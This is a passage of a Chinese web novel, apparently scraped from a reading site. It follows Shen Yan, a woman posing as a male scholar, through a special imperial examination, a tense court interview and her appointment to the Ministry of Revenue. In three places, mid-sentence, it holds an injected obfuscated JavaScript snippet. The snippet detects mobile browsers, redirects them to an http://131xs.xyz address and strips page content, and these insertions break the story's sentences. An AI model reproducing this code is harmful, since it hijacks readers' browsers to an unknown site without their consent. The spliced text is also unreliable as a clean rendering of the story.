沈晏对着这青天鉴抬头照影，只看见吏部府衙门楣上一道朱砂匾额，“为国抡才，经世致用”八个金漆大字，好不耀武扬威，生生地扎进眼中。 朱漆门外不只沈晏一人。锦缎华服的士子们三五成群，倒显得她误入琼林宴，长衫单薄站在队尾，频频惹人侧目。 偶有议论声，不入耳也难。 “制科之试看似免了旁试，却只拣一二人录用，也不知你我之中，谁可摘得这乌纱。”一石青锦衣的士子笑声道。 沈晏未动容色，未料下一刻火就烧到了自己身上。 一赭石绸袍士子瞥着她身上长衫，似恶极这‘班门弄斧’姿态，刻意将声音抬高了些：“先不论你我，乡野冒出来的阿猫阿狗都未知难而退呢，也不知凭何与我等同台？” 被指做‘阿猫阿狗’的沈晏眯了眯眼。 想来这小公子是隐隐忧心着自己难中，便故意言语刻薄好发泄一番。如此心拙口夯之辈，她自然懒得理会。 等等。 她要以混乱蔽身，自然还缺一个同台者。譬如，眼前这位乱撒气的小公子。 沈晏深吸口气，缓缓侧过身去，目光平静地看着那个赭石袍的士子：“这位仁兄，是在问我‘凭何来此’吗？” 那士子未料想她竟敢直接转身，愣了片刻，随即扬起下巴：“是又如何，名不见经传…” 他话未说完，沈晏已抬起一只手，不疾不徐点点自己太阳穴，笑得灿然：“与仁兄不同，在下凭得是这个。” 那赭石袍士子脸上一阵阴晴。什么意思？与他不同，凭得是脑？他正欲再开口，却听见“吱呀”一声钝响—— 吏部朱漆大门豁然洞开，两名皂隶合力抬了半人高的铜盆出来，将盆中冷水尽数倾泻。 那赭石士子将话咽回肚里，狠狠瞪了沈晏一眼。沈晏转正身子乖乖站定，水珠飞溅，落在她脚边，洇湿簇新的青布鞋。 一名书吏手持名册唱名核籍：“江南府学子，沈晏，中丞御史张宪之所荐。” “学生在。”沈晏上前一步，声音沉稳。 籍贯江南，是张宪之所虑，她自幼生于临安，口音、习俗皆不易伪装，若写作别处，细微处露了马脚，反教人生疑。 那书吏斜眼看了沈晏两下，便从她身边擦肩走过：“沈士子请进吧，按照规矩，核了籍，便要验明正身。” 沈晏微微颔首：“有劳。” 验明正身…… 若有一丝纰漏，她只等着被碎尸万段，外加上一顶欺国欺君，累及师门的不齿之名。只求能如她所愿，瞒天过海。 两皂隶面色平定，一左一右站定。吏目努了努嘴：“沈公子，请宽衣。只是例行公事，量一量筋骨尺寸，瞧瞧有无残疾隐疾，也免得日后出了岔子，大家脸上都不好看。” 宽衣？众目睽睽之下，解开外衫已是极限…她目光再流转，停驻在身旁那盛满清水的巨大铜盆上。 皂隶的铜尺将将要近身，沈晏却似腿伤骤然发作，身形一晃，踉跄要倒。 “当啷” 袖中一枚不起眼的铜钱恰好滑落，不偏不倚砸在铜盆边缘，一声脆响。扰得水波剧烈荡漾，将盆底的天光人影统统搅得破碎迷离。众人目光被这突兀的声响攫住，齐刷刷投在那铜盆上。 “哎呀！”沈晏低呼一声，脸色窘迫地恰到好处，顺势去捡那枚铜钱。这一俯一低，一点淤青色在颈间若隐若现。 她动作极快，捡起铜钱迅速直起身，拢紧衣襟，脸上因羞愤腾升起一片红晕，低声道：“在下失礼了。前日与人冲撞，身上各处伤还未愈合，腿脚有些不便，惊扰诸位了。” 空气仿佛凝滞了一瞬。 铜盆水波渐息，映出沈晏眉眼低垂，狼狈良顺的模样。考场之内，却不知谁起了个头，压低声音道：“瞧见没？这位就是前两日闹得沸沸扬扬，为个歌女跟人大打出手的沈士子。” “原来是他。瞧着倒是人模人样，竟是个痴情种子？” “痴情？我看是穷书生没见过世面，色迷心窍。为了个妓子，值得？” 切切察察之声，一时不绝于耳。 她等的同台唱戏者来了—— 方才赭石绸袍的士子总算等到机会，语带戏谑地嚷道：“沈公子这般模样还要来考校，诚可嘉也。只是，身上这些伤，莫不是被你那相好的小娘子…抓挠出来的吧？” 话音未毕，嗤嗤声顿时变成满堂哄笑。 沈晏闻言忽抬起头，脸色好不难看，一副羞愤欲绝的样子，未及皂吏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126187|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相拦，直直扑向那士子，伸手就要去扯他掩嘴的赭石色衣袖： “大昭律法，无论制科还是科举，皆选贤举能，还不知哪条规定要问人妻儿籍贯的！这位兄台，你倒是出身名门，饱读诗书，指出来给我看看啊！” “够了！”吏目厉声喝到，他目光横扫过堂下，停在沈晏羞愤又难掩病弱的一张脸上。挥了挥手，满是嫌恶。 他眼转了转，制科士子通着大人物，极少有舞弊的。验身总不过是瞧瞧有无缺胳膊少腿的，免得日后当差磕了碰了说不清楚，反叫举荐的大人们难做。 “罢了罢了，既是张中丞举荐，又带着伤。规矩是死的，人是活的。量个身高臂长便是，仔细些，莫碰着人家的伤处！” 皂隶闻言，几乎要碰到沈晏衣襟的一双手又收了回去，转而只持铜尺，在她肩头手臂处随意比划比划，草草记录了几个数字。 “行了。”吏目瞥了一眼记录，“进去吧。记住，若再生事端，杖八十，罚银十两，终身不得举。” 沈晏松了一息。 如此，总不算她亲口免了细验，也不负那位赭石衣仁兄如此‘配合’，让她演成这么出戏。 刚刚强压下的惊悸与发肤之痛这才袭来，眼前一阵微眩。她强稳住身形，对吏目微微躬身：“多谢大人提点。” 转身，抬步过门槛，步履沉沉，行入幽深甬道。身后，嗤笑还未尽散，那赭石衣士子仍目光悻悻。 外间众口嘈嘈，然正堂可闻落针。 众生坐定，堂门再拢，唯高处一扇蒙尘纱窗，不明不净，昏昏沉沉映亮堂内排列着的案几。 经义陈于案前，其艰深广博，非皓首穷经者难以应对。 墨已研浓，落于纸端。沈晏提笔的手仍微颤着，方才那番涉险过关实耗神费力，她闭了闭眼，再睁开时，已将残余的惊悸与嗤笑声抛却脑后。 监试司吏目光察察，于她挺直的脊背和握笔的手上逡巡。 腕凝一线，只怕握不稳笔，让墨字不能再齐整些。缠胸布护腰甲之束缚，她原以为自己早已习惯，未承想眼下呼吸渐促，仍被勒得生疼。 沈晏强迫自己沉入字里行间，笔落眼随者，乃句读训诂，经义阐发。恰如临安春夜里，风吹过书斋案头堆叠的典籍。彼时她年岁尚浅，也曾望着晦涩的文字蹙眉：“典籍道理纵然珠玑，如此虚玄，又怎解眼前饥馑，全万世太平？” 母亲却抚她被风摧乱的发，温声道：“经史子集，乃千秋民生治世之通略，心无通略，便如盲人摸象，只见一隅，难窥全貌。” 抚发的那只手停下，指向案前摊开的一卷：“此虽晦涩，却是你俯瞰万事的眼睛。” 眼落笔端，所书的非只有圣贤语，更有她亲眼所见的民生多艰，反复琢磨的社稷之本。 笔落尘埃，收卷钟鸣。 沈晏搁了笔，日光透过蒙尘的窗纸，斜斜切过案头墨迹未干的答卷，投下一条明暗分明的边界。 朱漆大门复闭，才迈步出府衙，一道候着她而来的高声便适时响起： “若皆是此等弱柳扶风的痴情种，放榜之日，恐怕榜上无名者，要羞愧得无地自容了！咱们这些寒窗苦读的世家子弟，岂不与之为伍？” 沈晏循声望去，正是被她噎了两次，想着在下考时找回场子的赭石衣士子。 他抱着胳膊，笑嘻嘻地看着沈晏，等着看她是羞是恼。 然出乎意料，弱柳扶风的痴情种只淡淡扫了他一眼，如看路边一颗硌脚的石子。随即收回目光，步履沉稳向前走去，似根本没听见那刺耳揶揄。 一拳打在了棉花上，怎能叫人不气。 “装聋做哑，心虚了吧！” 赭石衣士子笑脸僵住，转头冲沈晏的背影高声道，“一个籍籍无名，又为妓女打架的书生，能有什么真才实学？我看是中丞大人无亲可荐，才拉了人来凑名额吧。诸位同道——” 他转向周围看热闹的人，眉眼斜睨， “不若咱们赌一赌，看看这位沈公子，能在榜上第几名落第？我赵某赌他必定名落孙山，垫底都轮不上。” 5. 榜下捉婿？ “赵公子，你既赌输了钱，可是真会相偿？” 黄纸黑字一张榜前，同行试生拍了拍赭石绸衣的赵士子肩头，撂下了句打趣的话，扔下他一个人在吏部府衙前凌乱。 榜上一甲处，端方地写了个他实不想见到的名字。 沈晏。 赵士子满心觉着，他吃瘪事小，然沈晏这酸书生莫非是世外高人？制科虽非正举，可不乏世家子弟行此门路，那都是些有师长追在屁股后面授书之人。但这沈晏，可谓名不见经转——除了风月痴名，怎能中的了一甲？ 他一合手掌，恍然大悟：“那枚铜钱，是沈晏刻意而为之，为的就是避过验身这一关。” 身旁同行试生凑过来一只耳。 只见赵士子展了展袖，自信道：“他定是夹带作弊，怕被查出来！” 同行试生一个扶额：“赵七啊，你可教人省些心吧。那监试官吏眼睛都快长咱们身上了，更遑论制科者都是举荐所来，谁有那个胆子作弊，不却了叔父伯祖的面子？再者，若不是你嚷着和人起了冲撞，那吏目会嫌惹事，免了他细验？” 他看着赵士子如看家中幼弟，唉叹连连：“且听我一句劝，咱也算半副有头有脸的人物，今日若见，莫要同那沈士子再起争执，实有失风度。” 然沈士子并不知自己正被人惦念着。 此刻她正挤在人潮外围，费力地张望那新贴出，写着可进堂考者名单的榜文。 三月春寒倒返，人头攒动处，捂化一点料峭。 石板路被踩得油亮，不知谁揉烂了书页丢在地上，步来步往，无人问津。 沈晏于人潮中默念，自古士人皆以为，学而优则仕方算第一等人生。不然不足以解释，为何这看榜之人竟比考试之人还多出不少。 榜前已是沸反喧天，几个中试的士子围作一团，较量恭维罢，又忙不迭论起明日堂考之事。 “竟刷去大半，实是阎王殿前过筛子。” “莫要高兴太早，”一老学究持书背手，捋着山羊胡，向身旁几个年轻士子传授真经，“制科与正科有所不同，讲求一个任人为用。堂上的爷，才是勘定生死之人。锦绣文章又如何？答得不稳妥，照样是‘才不堪用’，打发了事，有时啊，这满榜也未必中得了一个。” 这些人横在沈晏与黄榜之间，高谈阔论恍若无人。横竖挡着她，不听白不听。 “稳妥？”一个石青锦衣的试生话接得极快，眉稍眼角皆写着世事洞明，“能制科入堂考的，还是那些老面孔，什么赵家，王家，郑家子弟…明日主试的乃章文渊章老大人，历值三朝，最知道朝中错杂纠葛。这稳妥，便是要眼明心亮，明白自己为谁张目，替谁说话，莫出差错。” 沈晏心头默诵，记下章文渊这个名字。 “是极。”却听那老学究压低声道，“这堂考，考得非学问深浅，而是为官之道！最忌眼不明心不亮，狂生妄议。锋芒毕露者，伤不着别人，只会伤着自己。” 沈晏叹了口气，不愿再听。口口声声门第角力，派系倾轧，如此精心虚饰，崇尚圆滑的樊笼，便是他们口中的官场道了？ 人各有志，皆是试生，自无可评判是非。 她向侧挤了挤，隔着人墙，从下往上，一个个默念那些名字。 皆不是她的。 目光逡巡一寸，心便上悬三分。若是落第，那三年飘零，十载耕读岂不都……罢了罢了，若此次不中，便是命里无缘，大不了再蛰伏三五年，振奋文章，苦连乔装工夫，从科举一层层再考上来便是。 然下一刻，视线被牢牢钉在榜前—— 沈晏。 春风抚眉睫，将周围喧声都融落，只余那黄纸墨字，如是清晰，飘飘然映在眼底。 中了。 原以为举与否只是一步定数，并不会左右自己心绪。然她竟顿觉神清气爽，同寻常士子一般，心中泛起丝难察的…欢喜？ 沈晏狠狠掐了掐掌心，才敛回心潮。 莫得意忘形，真正难跨过的，还有明日那一遭。 目光从那风光黄榜辗转掠过，却被身旁一掩面恸哭者抢去了视线。那人撕着手中书页，口中喃喃，似喊着什么无颜见上，愧对恩师之辞。 有风光无两者，自有被掩去光芒之人。 沈晏叹了口气，正转身欲归，却忽而听见一阵车马喧哗，接着，是人群由外到里骚动，低语迅速转为兴奋的嗡嗡声。她循目光看去，却只见一青缦小轿被人团团围住。 有大人物来了？ 难不成…是传闻中的榜下捉婿？ 她再一低头，却发现刚刚那掩面恸哭的士子竟也不哭了，急匆匆将地上散乱的书页捡了起来，就要往人堆里扎。 “这位兄台…”沈晏朝他一招手，讪讪地问，“你可知众人围起来的是谁吗？” 那撕书的士子闻言，面上还带着泪痕，红肿的一双眼却露出三分鄙薄：“你不是盛京士子吧，竟不知小温大人？” “小温大人？” 听着不像谁家的闺阁千金，原是她多戏了。 撕书士子倒有闲情，同她滔滔不绝了起来：“当朝佥都御史温延玉温大人，因年纪轻家世又显，是故人人称一句‘小温大人’。那可是百十年都出不了一个的人物，我们这些个京中士子，哪一个不慕小温大人的美名，皆称道是‘天池月色，玉山清流’。” 他停下来，看着沈晏目光游移到自己手中撕碎的书页上：“你看我书干嘛？一次不中，又不是一辈子不得举了。” 见她点头，撕书士子才续道：“我话还没说完，论家世，小温大人出身沛泽温氏，累世公卿，乃一顶一的家世。论才学，小温大人诗赋经文皆通，制科中第，官拜四品，乃一顶一的才学。论人品，那更是一片玉壶冰心，为人称道。前岁京畿有疫，他一袭月白绸袍立身城隍庙前，于万民哭嚎之中，施粥予民，恍如谪仙。” 撕书士子匝了匝嘴，似细细品味着什么。 如此一通天花乱坠，却让沈晏蹙了蹙眉，她按下心中波澜，冲撕书士子再点了点头，便仰起头，目光探向那青缦小轿。 轿帘拨动，走下来一个人。 那士子漏说了一则… 这小温大人，资容风仪也可称作一顶一。 一身浅水碧交领袍，兰草纹样，袍上青玉带，是新柳颜色。唇边笑作桃李春风，轻轻拂开新柳。琼鼻薄唇，修眉情目。 纵是如此多情面，恰有一身清绝骨。唯有风华，无有风流。 非那撕书士子赘述，合该是‘天池月色，玉山清流’。 此刻目光焦聚于一身，他倒似习以为常，容色未变，仍如拂柳。笑意温煦，扫过眼前人头攒动，薄唇微启，声音清越： “今日榜前枯荣，诸君皆已竭尽心力。金榜题名者，得才学之证，自然可喜可贺。未登榜者…科场映一得失，却非一世定论。腹有珠玑，譬如璞玉蕴于石中，只待机缘慧眼。” 撕书士子有些激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126188|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动，扯了扯沈晏的衣袖。却听温延玉又开口道： “明日堂考，将由章文渊章老大人亲执玉尺，主理衡文。章老历值三朝，德望如山。其品藻人物，明察秋毫，见微知著，绝无偏私。延玉不才，蒙恩典列席旁听，得拾诸君妙论，以补己之短。” 他略一垂首，安然浅笑：“此道虽艰，吾辈同行，当共勉之。” 话音才落，士子们皆是一把鼻涕一把泪。小温大人何等人物，竟特来关怀他们这些试生，还称他们为同行者。这份平易近人，体贴察情，怎能不让人心折。 他们的小温大人却恍若未觉，唇边笑意仍盛，目光不经意掠过眼前如织人潮，与人群外围的沈晏片刻交错—— 未作停留，恰如轻掠过一片柳叶。 随即，他便在恋恋不舍的目光与一片“恭送小温大人”的声浪中从容转身，任流云碧衣飘摇，登轿而去。 沈晏站在原地，掰了掰手指。 这小温大人一番芝兰玉语，总不过让她听去了两重关窍。 一则，章文渊不好搞。 二则，不好搞的是章文渊，明日无论问什么，录什么，皆与这位“列席旁听、拾取珠玑”的小温大人毫无干系。 啧啧啧，无一处不尽美，无一句不悦耳。 沈晏轻轻吁了口气，挤出那人群，身后却有一人叫住了她。 “沈…沈公子，留步。” 脚步一顿，她转过身去，来者一身赭石绸袍，莫不是昨日押她落第的赵士子？ 赔钱来了？ 他笑得有些僵硬，只快走几步，并到沈晏身前，飞瞥她一眼，低声道：“沈公子，昨日笔试散场后，赵某言多无状，还望沈公子莫要计较。” 沈晏心下咂舌，原来非是赔钱，而是赔笑。 她面上浮起一丝温和浅笑，也拱手还礼：“赵兄言重了。些许口角之争，沈晏早已忘却。赵兄或许一时意气，何足挂齿，并无妨碍。” 语气且宽且和，仿佛真是浑不在意。 赵士子闻言，松了口气，脸上笑容也自然了许多：“好好好，沈弟雅量，我们这也算不打不相识，来日多多亲近才是。” 沈晏冲他颔首笑笑，好不温雅。 转身而去，却翻了个白眼。 谁要和你不打不相识了？ 这赵士子昨日敢肆无忌惮地当众出言相讥，无非是看她身出寒门，毫无跟脚，亦无学名，是故可以随意轻贱。而今日态度陡转，能放低身段来道歉，乃是因为那张黄榜之上，有她沈晏的名字。是以他愿正眼瞧她，与她称兄道弟，扯上关系。 虽负贩者，安无尊耶？ 沈晏步入长街，春寒未散，袭面而来。 她紧了紧身上长衫，将吏部府衙森严轮廓甩在身后。 明日堂考，定非易事，又该当如何？ 是如今日所见种种，力求滴水不漏，圆融稳妥？还是尽力攀援，做个识时务之辈？ 非也。 沈晏抬眼向青天，云开见日。 世家子身后有世家托举，却也须因此收折羽翼。而她费心思入朝为官，本就做不得那循规蹈矩，明哲保身之臣。她欲乘他人之东风，搅动一番风云，自然要锋芒毕露，才得以为人所用。 若从开始便瞻前顾后，事事不沾，便越涉越深，无法抽身，又如何被拈起来入棋局，如何与心中所想同路？ 她披满身甲胄，步履缓缓向城南。 明日，方得见真章。 6. 好端端的，掷什么盏 天光乍起，苔痕映绿芭蕉。 “今日是堂试？” 秋娘推开院门，看了眼身后站着的沈晏，忍不住嘀咕。 “一连着几天，天天往那府衙跑。” “最后一遭，不在府衙。”沈晏仍长衫束发，只展展衣袖，冲秋娘露齿一笑，脚步轻快掠过她身侧，“往后是日日跑还是跑不了，全看今日。” 话音未落，人已如青鸟投林，转身出了小院。 制科堂试，设于宫城外围集贤院。 当朝天子久缠病榻，无心亦无力亲临。是故规制仪仗都减半，设堂试于此处，兼取其文化荟萃，广纳贤才之意。 日色勾连着浓墨气，沉沉压在心头。 沈晏垂着眼，并在两列屏息凝神的士子之中。一小太监引路在前，脚步无声，领着诸生穿行于朱漆回廊间。 引路小太监迈过门廊，一甩拂尘，拿腔夹调道：“此处便是集贤院文正堂，诸位且劳心些候着传唤吧。” 诸士子皆刹了脚步，垂首端立于石阶前。 檐角垂脊兽蹲踞，俯瞰堂下众生相。 队末的赵七悄悄探了个头，往四周飞瞥了一眼，只见沈晏那道清薄背影，俯身拱手，恭谨站在前头。 脊梁道挺得端直，也不知凭何倨傲。 他咂咂嘴，终收回目光，抬眸看向殿门。 堂门被缓缓推开，里面踱出个着内侍服，手持拂尘的细瘦身影。赵七眯了眯眼，虽看不清脸，也不难猜出来者是谁。 引路小太监迎上堂前石阶，恭敬称道：“见过李公公。” 那李公公未做理会，靴底轻迈，一步步踏下石阶，径直停在队首站着的那人面前，拖腔道： “沈晏，沈士子？” 声音尖细处…为何有些耳熟？ “学生在。” 沈晏缓缓抬头，一张细白无须的脸直落入眼中。 心头倏然一松。 她从未见过这张脸。 李公公似笑非笑模样，眼促着打了个转：“随咱家来吧，几位大人在堂上候着呢。” 语罢，他一挥拂尘，转身飘上阶去。 眼下种种，唯有堂试高。沈晏深吸口气，压下满心疑窦，微提袍裾，随其后踏上石阶，迈步过了门槛。 堂门缓缓阖拢，沉沉收拢她身后天光。 高窗泄日色，映亮堂上紫檀案，案后端坐数人，面上神色掩于逆光之中，看不真切。唯绯袍乌帽清晰，如是映在她眼底。 沈晏上前几步，站定。双手深深揖下： “学生沈晏，拜见诸位大人。” 满堂静默。 唯香炉青烟袅袅而上，与她心如练筝，于肺腑间跳动得真切。 “免礼，抬起头来。” 沈晏闻言，方端身抬首，以眼循声，目光恭谨投向堂上正中。 正座之上者，须发皆白，鼻若伏羲，一双睡凤目精光内蕴，自有渊停岳峙——主试之人，正是章文渊。 他目光察察，尽落于堂下：“今日堂试，不论诗赋文章，只问经世策论。沈晏，你且听题——” “《管子》有云：‘仓廪实而知礼节，衣食足而知荣辱。’若遇大灾之年，仓廪空虚，流民四起，礼崩乐坏。尔若从中调度，当如何行之？” 治国疏政，料是如此。 “回大人。” 沈晏展了展眉头，深吸口气，回望堂上。 “学生以为：衣食足、仓廪实，皆为立国之本。然，衣食不足，并非一日之缺；仓廪不实，并非一年之废。灾变若至，往往势同燎原，一竿起而百竿应。故学生以为，安民为首，固本为辅。” “礼崩乐坏，实坏在人心。生民劳苦，人心难安，灾不得赈，则是助灾成变。是故需先开仓廪，广设粥铺。此一则，为活百姓。钱粮充国本，用须有度。故次选青壮年者，修葺城池，改课农桑，发以钱粮。此一则，使其不至流窜，兼赈国本，以图来日。” 堂上目光交错，审视堂下孤立之人。方才援引沈晏的李公公此刻默立堂右，隐去脸上似笑非笑的表情。 安民固本，乃心中通略。 然通略为眼，观得却是一枝一桠，一寓一粟。 沈晏垂眸。 章文渊所言‘仓禀不实，衣食不足’的流民，她见过。 流离三载，并非年年好光景。 她一路求乞出了云州，碰上兖州大旱，赤地千里，官府设了粥铺夹道。为讨一碗粥喝，她排在饥民队里，前前后后的人皆面色枯黄，倒显得自己这个乞儿浑不突兀。 粥滚了一整锅，可来往的孩童还是喊饿。 等她也捧了一碗，方知那些孩子嘴里为何叫唤——那碗中之物如何能叫粥，只不过清汤寡水，难见白米。 朝廷已按赈灾规格拨了粮，若规规矩矩发到饥民手里，怎至如此？ 答案并不难猜。 沈晏复抬眼，看向议政堂上诸官袍加身者： “再者，调度在前，更应严明法纪，清明吏治，不教蠹吏盘剥于下，豪强侵吞于上。使上恩下达，泽被生民。国之钱粮，方能尽为朝廷，为万民所取用。” 话音落，满堂竟又静三分，落针可闻。乌帽之下，道道目光如掷刃，齐齐向沈晏而来。 话太重了？ 然她非如此说不可。 堂中上首，章文渊隐着神色，难辨喜怒。只缓缓翻起手旁茶盏的瓷盖，垂眸看向盏中。 茶汤清冽，新叶陈叶，皆浮浮沉沉。 “沈生高论，实令人心折。” 沈晏逐着这清越声，寻见一清越人。 说话之人坐堂左，端身如芝兰玉树。绯衣束发反衬出他容色清艳，蕴生光华。 她了然——昨日榜前的小温大人。 温延玉微微倾身，仍眼带桃李，和声道：“古之贤者，皆倡‘为政以德’。既说清明二字，沈生以为，当重典竣法，严律使人畏之？抑或…以德为善，教化人心？” 以德为善，教化人心？ 沈晏直迎上他含笑目光，沉吟一瞬：“为政以德，是为‘和’天下。然若欺上罔下，已乱人和。唯有依律处之，以儆效尤，方能还德于天…” 声未毕，忽闻一声惊—— “哐啷——” 竟是章文渊直直抓起手旁茶盏，狠狠冲沈晏脚下掼了过去！ 刺响惊得满堂哗然。薄瓷乍裂，碎片如刃飞溅。沈晏退避不及，茶汤溅上她衣角，连着盏曳洒了满地。 “好一个蠹吏豪强！” 章文渊死死盯着沈晏，须发微张，似难抑怒意翻涌，厉声道：“我且问你，若江河泥沙俱下，水质本洁，又该以何分辨清浊？！” 沈晏身子一僵，如坠冰窟。 她缓缓低头，脚边断瓷如碎玉。满地残茶狼藉映在眼底，却倏然扭曲，化作昭狱最后一见，父亲枯槁的一张脸。 彼时他囚衣镣铐，已憔悴失了形，发如蓬草。 父亲见了她，眼底却无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126189|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半分思念得偿的喜悦，只是翕动双唇，欲同她说些什么。 他究竟…要说什么呢。 “沈士子，可是被吓坏了？莫忘了这策问，可未停呐。” 堂右，李公公斜斜睨着她，声仍尖细带笑意。 沈晏下意识转向那张细白的脸，忽觉得眼前一片影影绰绰，与昭狱幽暗天光连成一片，看不真切。 原来那时，父亲同她无声吐出的最后那句是—— “微微，快跑。” 堂左，温延玉只无声轻笑，如风拂柳。 他信手拈起盏轻啜，余光扫过那满地狼藉。今日有人拾取珠玑，有人却要为己拾棋子，只叹此子不堪试，竟吓呆在原地。 然下一刻，那拂柳笑意敛去。 只见堂下‘吓呆之人’忽抬起头，眉目清绝，毫无惧色迎上章文渊如炬的一双眼，正声道： “学生愚钝，不敢妄言。只知江河泥沙俱下，则天下万民不得清明。辨清浊者，不在塞视听，而在扼其源，断其流。晏愿效前贤，但求，俯仰无愧此心！” “好！” 章文渊一拍紫檀案，接得有力，倒像方才千钧之怒与他全不相干似的。 他铺开面前一张纸，向左右道：“诸公可还有议？” 堂上诸公面面相觑，皆默默摇头。章老大人既然拍案定板，谁还敢有议？ 温延玉眼掠异彩，面上仍万千风华模样：“章老慧眼，沈生赤忱忠纯。延玉附议。” “沈晏，”章文渊提笔，于纸前点勾画，缓缓开口，“记住你今日所言。治事疏邦非纸上谈兵。前路漫漫，好自为之。” 她再一揖拜：“学生谨记章大人指点。” 如此…便算是成了？ 朱漆门再被两小吏推开，沈晏刚步履沉稳出了正堂，下了两阶，耳旁却响起个尖细声音： “沈士子？” 她抬起头——李公公不知何时已跟了出来，近在咫尺，仍是似笑非笑。 “咱家今日心急嘴快，便多问了话。沈士子也应记着，往后什么该说，什么不该说，莫一不小心把自己栽进去了，你说是这个理儿不？” 语毕，他再一挥拂尘，转身便走。然刚下了石阶，却听见身后人哑声叫住自己—— “李公公。” 他应声转头，只见沈晏立于阶上，披着满身日色，看不清神情。 她淡淡开口：“方才堂上，多谢公公出言提点。” 李公公眉头一皱，不明所以，只觉着新科士子连人带话皆是刺头。轻哼了一声，便转身快步离去。 沈晏看着他背影，肺腑再难平。 隆裕七年，临安陆宅，内侍李怀英亲临，捧一手懿旨。彼时她作为家眷跪伏在侧，只觉石板甚凉，未敢抬头。 那李怀英声音尖细：“此乃上意，烦请快些接了旨，莫叫咱家为难。” 若无他一句提点，又怎能知晓那时未瞧见的，是这样一张细白的脸。 她缓缓步下石阶，回望一眼。 白日苍苍，正悬于文正阁顶，亦照亮一身。 沈晏垂首揽袖，轻轻抹去衣摆被热茶溅出的水渍。 这章老大人掷盏问话，哪里是真怪她言辞激烈？分明是听去她话中之志，碎盏逼问，要她于满堂耳目前立下誓言罢了。 受人诘问？遭人冷眼？ 只要能成欲成之事，又何须挂怀。 她记着，前几日那些个士子说，这制科悬缺之位，是在户部？ 7. 初入此门 烛灯一线曳于斗室，将案上信笺映得明明昧昧。 张宪之借昏黄烛光，俯首默读。 门外细碎脚步微响，他霍然起身，匆匆迎向来人：“老师，您请上座。” 来人却一摆袖，径自落座，抬手掀落风帽，露出张清矍的脸，须发皆白，眼如睡凤。 张宪之随之落座，气息微沉，低声道：“老师传书召见，所商何事？” 章文渊将指尖轻叩在案沿，沉声问：“此番制科，士子沈晏，可是你门生？” 张宪之心头渐坠，眉心一跳：“正是。” 他喉头微动，忍不住又追问道：“老师所言是…” 章文渊拈起案上信纸，缓举至灯前，任火舌侵吞上来，寸寸化烬，落满桌余灰。 “此子堪用。我已请旨，擢其为七品户部员外郎。” 张宪之盯着案上余烬，半晌方轻声道：“如此起点，于她而言，已是殊遇…多谢老师照拂。” “与你举荐无干系。”章文渊截断他，眼皮微垂，“如今的朝堂固若一潭死水，总应一尾鲇鱼，搅动一番方间活气。” 火光飘摇，将案前人轮廓勾得明灭不定，眼底晦明变幻，一概看不真切。 窗外敲了一声更。 张宪之忽容色大动，跪伏在地：“老师…是要以她为祭，万万…” “非也，”章文渊俯视地上之人，眼底无波无澜，“乃以他为石。” “掷石问路，以石砺针。” 这针还是磨得不利。 沈晏临窗而坐，就着烛光，仔细扯着手中针线。正与那歪扭走线较着劲，忽觉头顶悬了道目光。 她抬起头，直直撞上秋娘善睐明眸一张脸。 沈晏将那不忍睹的针脚往怀里掖了掖，讪讪道：“怎地悄无声息的…” 秋娘却未接岔，盯着她手中活计：“沈员外郎，可是在缝官袍领子？” ——前日小院外车马辘辘，秋娘推了门，所见的竟非沈晏那位常板着脸的老师。一小太监斜睨她一眼，怀中赫然露出一柄明黄。 二人慌忙跪地接了旨。 “莫打趣我。”沈晏仍捏着针，“官袍岂敢擅动，不过依样补件中衣领子罢了。” 秋娘顺势坐到她对面，托着腮自言自语：“想这坊间议论也难免的。一介歌女，转眼成了官家奶奶，已是奇谭。然谁又可知，更奇的，却是这官老爷乃女子身。” 她瞥了眼沈晏忙活的手，面色难免露三分鄙薄：“沈员外郎这针线功夫，莫不是同你爹学的？” 沈晏愣了愣：“你如何知晓？” …… 竟真是同她爹学的。 秋娘实看不过眼，遂指点起来：“这处该留个米牙口，这处线走歪了…罢了罢了，我来！” 沈晏无功而受禄，乖乖将针线递给上。 彼时尚不知，待明日穿上这身官袍，她方彻悟何谓‘缝衣用膳须躬行’。 “沈大人，这边请。” 引路小吏躬身在前，后随一双皂靴稳稳跨过门槛。靛蓝官袍略宽于身量，反显得那人长颈秀项，风姿清举。 “大人才入仕便授户部员外郎，此等殊荣，虽不可比正科魁首及当年的小温大人，却也实属拔群了。” 沈晏闻言，只冲那小吏颔首浅笑，一派温雅。 然待其转身引路，她飞快抬手，不着痕迹扯了扯中衣领口—— 秋娘走针倒是利落，却忘了比量尺寸，三下五除二缝得严丝合缝，直勒得沈晏一口气皆悬在嗓子眼，吐纳皆需放缓。 那小吏推了扇门，腿下麻利，口舌也不歇着： 